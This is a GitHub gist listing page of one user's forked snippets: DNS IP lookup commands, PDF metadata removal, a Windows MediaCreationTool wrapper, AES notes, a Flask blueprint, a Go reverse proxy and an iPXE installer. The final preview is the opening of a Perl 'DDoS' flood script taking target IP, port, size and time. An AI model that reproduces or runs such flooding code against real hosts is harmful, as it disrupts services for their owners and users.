Skip to content

Instantly share code, notes, and snippets.

@promolic1
promolic1 / #my-ip-dns.md
Created December 8, 2023 23:46 — forked from maskati/#my-ip-dns.md
Get my IP address using DNS

Windows

nslookup myip.opendns.com resolver1.opendns.com

Linux

dig +short myip.opendns.com @resolver1.opendns.com
@promolic1
promolic1 / README.md
Created November 28, 2019 06:08 — forked from hubgit/README.md
Remove metadata from a PDF file, using exiftool and qpdf. Note that embedded objects may still contain metadata.

Anonymising PDFs

PDF metadata

Metadata in PDF files can be stored in at least two places:

  • the Info Dictionary, a limited set of key/value pairs
  • XMP packets, which contain RDF statements expressed as XML

PDF files

@promolic1
promolic1 / .. MediaCreationTool.bat .md
Created August 15, 2019 18:45 — forked from AveYo/.. MediaCreationTool.bat ..md
Universal MediaCreationTool.bat wrapper for all Windows 10 Redstone versions: 1607,1703,1709,1803,1809 with business (Enterprise) edition support

Preview1
Preview2

Update: adjusted script for easy splitting into a lite version (only missing generating RS1/RS2 business entries)
2018.10.10: reinstated 1809 [RS5]! using native xml patching for products.xml; fixed syntax bug with exit/b
2018.10.12: added data loss warning for RS5
2018.11.13: RS5 is officially back! + greatly improved choices dialog - feel free to use the small snippet in your own scripts
2019.05.22: 1903 [19H1]
2019.07.11: 1903 release_svc_refresh and enable DynamicUpdate by default to grab latest CU

@promolic1
promolic1 / README.md
Created January 15, 2018 05:55 — forked from hofmannsven/README.md
My simply Git Cheatsheet
Just to avoid confusion, I wanted to point out a few things here.
For reference, all of the info I've gathered below is directly from the documentation found by running the following two lines of code through your Python interpreter:
>>> from Crypto.Cipher import AES
>>> help(AES)
Block Size vs Key Size
AES has a fixed data block size of 16 bytes (128 bits)
AES can have a key size of 128, 192, or 256 bits (16, 24, or 32 bytes)
@promolic1
promolic1 / Flask-blueprint-with-imported-routes
Created November 7, 2016 22:29 — forked from Jaza/Flask-blueprint-with-imported-routes
Example of how to split a Flask blueprint into multiple files, with routes in each file, and of how to register all those routes.
*
@promolic1
promolic1 / gaereverseproxy.go
Created August 14, 2016 04:32 — forked from pokstad/gaereverseproxy.go
Google App Engine reverse proxy in Golang
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// HTTP reverse proxy handler
package goengine
import (
"io"
@promolic1
promolic1 / ubuntu-install.ipxe
Last active July 17, 2016 03:39 — forked from robinsmidsrod/ubuntu-install.ipxe
iPXE installer script for Ubuntu Server x64
#!ipxe
echo
echo Starting Ubuntu 10.04.4 x64 installer for ${hostname}
# Hook SAN disk
set root-path iscsi:nas.smidsrod.lan::::iqn.2011-02.lan.smidsrod:${hostname}.boot.ubuntu
sanhook ${root-path} ||
# Start debian-installer
set base-url http://boot.smidsrod.lan/ubuntu-10.04.4-amd64-server
@promolic1
promolic1 / (DDoS)
Created July 9, 2016 05:58 — forked from dreadpiratesr/(DDoS)
Perl Flood Script (DDoS)
[Save file as reckz.pl, Put it in Perl/Bin]
#!/usr/bin/perl START SCRIPT
use Socket;
use strict;
if ($#ARGV != 3) {
print "reckz.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";